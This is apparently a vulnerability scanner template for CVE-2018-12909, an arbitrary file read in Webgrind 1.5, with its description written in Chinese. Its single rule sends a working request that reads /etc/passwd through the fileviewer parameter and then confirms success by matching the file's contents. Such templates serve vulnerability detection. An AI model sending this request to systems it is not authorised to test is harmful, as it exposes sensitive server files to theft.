CVE-2018-12909: Webgrind fileviewer.phtml 任意文件读取漏洞

id: CVE-2018-12909

info:
  name: Webgrind fileviewer.phtml 任意文件读取漏洞
  author: zan8in
  severity: high
  description: |-
    Webgrind是一套PHP执行时间分析工具。其中Webgrind 1.5版本中存在安全漏洞，该漏洞源于程序依靠用户输入来显示文件。攻击者可以通过漏洞读取服务器敏感文件
    app="Webgrind"
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2018-12909
  tags: cve,cve2018,webgrind,fileread
  created: 2023/08/10

rules:
  r0:
    request:
      method: GET
      path: /index.php?op=fileviewer&file=/etc/passwd
      headers:
        Cookie: redirect=1
    expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0()